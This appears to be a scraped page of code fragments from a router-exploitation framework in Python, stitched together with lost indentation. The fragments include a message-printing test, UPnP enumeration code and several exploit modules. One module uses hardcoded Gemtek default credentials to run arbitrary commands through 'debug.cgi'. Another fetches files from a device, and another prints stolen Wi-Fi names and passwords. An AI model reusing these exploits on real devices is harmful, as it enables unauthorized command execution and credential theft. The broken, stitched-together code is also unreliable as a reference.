Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def test_print_messages(self, mock_builtins):
# mock_utils.return_value = "posix"
test_string = "Hello World"
interface.messages.print_success(test_string)
mock_builtins.assert_called_with("\033[32m\033[1m[+]\033[0m", test_string)
interface.messages.print_error(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_warning(test_string)
mock_builtins.assert_called_with("\033[93m\033[1m[!]\033[0m", test_string)
interface.messages.print_failed(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_help(test_string)
mock_builtins.assert_called_with("\033[95m\033[1m[?]\033[0m", test_string)
interface.messages.print_info(test_string)
mock_builtins.assert_called_with("\033[94m\033[1m[*]\033[0m", test_string)
interface.messages.print_green(test_string)
mock_builtins.assert_called_with("\033[32m%s\033[0m" % test_string)
def do_set(self, e):
args = e.split(' ')
if args[0] == "mac":
if validate_mac(args[1]):
self.mac = args[1]
print_info("MAC set to: " + self.mac + " " + lookup_mac(self.mac))
else:
print_error("please provide valid MAC address")
def do_run(self, e):
url = "http://%s:%s/debug.cgi" % (self.host, self.port)
data = {"data1": "echo 741852", "command": "ui_debug"}
try:
response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60)
result = re.findall("<textarea cols="100" rows="30">\\n(.*)\\n</textarea>", response.text)
if "741852" == result[0]:
print_success("Target is vulnerable")
data = {"data1": self.command, "command": "ui_debug"}
response = requests.post(url=url, data=data, auth=("Gemtek", "gemtekswd"), timeout=60)
result = re.findall("<textarea cols="100" rows="30">\\n(.*)\\n</textarea>", response.text)
print(result[0])
else:
print_error("target is not vulnerable")
except requests.Timeout:
print_error("timeout")
except requests.ConnectionError:
print_error("exploit failed")
except TypeError:
print_error("Something went wrong in answer parsing")
Exploit()
def do_set(self, e):
args = e.split(' ')
try:
if args[0] == "host":
if interface.utils.validate_ipv4(args[1]):
self.host = args[1]
else:
print_error("please provide valid IPv4 address")
elif args[0] == "port":
if str.isdigit(args[1]):
self.port = args[1]
else:
print_error("port value must be integer")
except IndexError:
print_error("please specify value for variable")
def get_host_information(self, xml_data, xml_headers, index):
if self.enum_hosts[index]['dataComplete']:
return
if 0 <= index < len(self.enum_hosts):
try:
xml_root = xml.dom.minidom.parseString(xml_data)
self.parse_device_info(xml_root, index)
# self.enum_hosts[index]['serverType'] = xml_headers.getheader('Server')
self.enum_hosts[index]['serverType'] = xml_headers['Server']
self.enum_hosts[index]['dataComplete'] = True
return True
except Exception as e:
print_error('Caught exception while getting host info:')
traceback.print_stack(e)
return False
xml_service_file = self.enum_hosts[index]['xml_file']
slash_index = xml_service_file.rfind('/')
xml_file = xml_service_file[:slash_index] + '/'
except:
xml_file += '/'
if self.enum_hosts[index]['proto'] in service['SCPDURL']:
xml_file = service['SCPDURL']
else:
xml_file += service['SCPDURL']
service['actions'] = {}
# Get the XML file that describes this service
(xml_headers, xml_data) = self.get_xml(xml_file)
if not xml_data:
print_error('Failed to retrieve service descriptor located at:', xml_file)
return False
try:
xml_root = xml.dom.minidom.parseString(xml_data)
# Get a list of actions for this service
try:
action_list = xml_root.getElementsByTagName(action_list)[0]
except:
print_error('Failed to retrieve action list for service %s!' % service['fullName'])
return False
actions = action_list.getElementsByTagName(action_tag)
if not actions:
return False
# Parse all actions in the service's action list
# Some actions may take no arguments, so continue without raising an error here...
continue
# Get all the arguments in this action's argument list
arguments = arg_list.getElementsByTagName(argument_tag)
if not arguments:
if self.verbose:
print_error('Action', action_name, 'has no arguments!')
continue
# Loop through the action's arguments, appending them to the ENUM_HOSTS dictionary
for argument in arguments:
try:
arg_name = str(argument.getElementsByTagName(name_tag)[0].childNodes[0].data)
except:
print_error('Failed to get argument name for', action_name)
continue
service['actions'][action_name]['arguments'][arg_name] = {}
# Get each required argument tag value and add them to ENUM_HOSTS
for tag in arg_tags:
try:
service['actions'][action_name]['arguments'][arg_name][tag] = str(
argument.getElementsByTagName(tag)[0].childNodes[0].data)
except:
print_error('Failed to find tag %s for argument %s!' % (tag, arg_name))
continue
# Parse all of the state variables for this service
self.parse_service_state_vars(xml_root, service)
except Exception as e:
elif default == "yes":
prompt = " [Y/n] "
elif default == "no":
prompt = " [y/N] "
else:
raise ValueError("invalid default answer: '%s'" % default)
while True:
print_info(question + prompt)
choice = input().lower()
if default is not None and choice == '':
return valid[default]
elif choice in valid:
return valid[choice]
else:
print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n")
def do_run(self, e):
target = "http://%s:%s/%s" % (self.host, self.port, self.file)
try:
# We have to manually craft the request if you use requests.get it sents HEAD first
# and the exploit won't work
request = requests.Request('GET', target)
r = request.prepare()
s = requests.Session()
response = s.send(r, timeout=30)
s.close()
if response.status_code == 200:
print_success("writing to file%s" % self.file)
core.io.writetextfile(response.text, self.file)
else:
print_error("exploit probably failed got response code %s" % response.status_code)
except requests.RequestException:
print_error("timeout!")
print_success("ESSID:", wlan_credentials[0])
print_success("PSK:", wlan_credentials[1])
for mac in wlan_credentials[2]:
print_success("MAC filter:", mac)
else:
print_error("Status code:", response.status_code)
elif response.status_code == 401:
print_error("401 Authentication failed")
elif response.status_code == 404:
print_error("404 Page does not exists")
else:
print_error("Status code:", response.status_code)
except requests.exceptions.Timeout:
print_error("Timeout!")
except requests.exceptions.ConnectionError:
print_error("No route to host")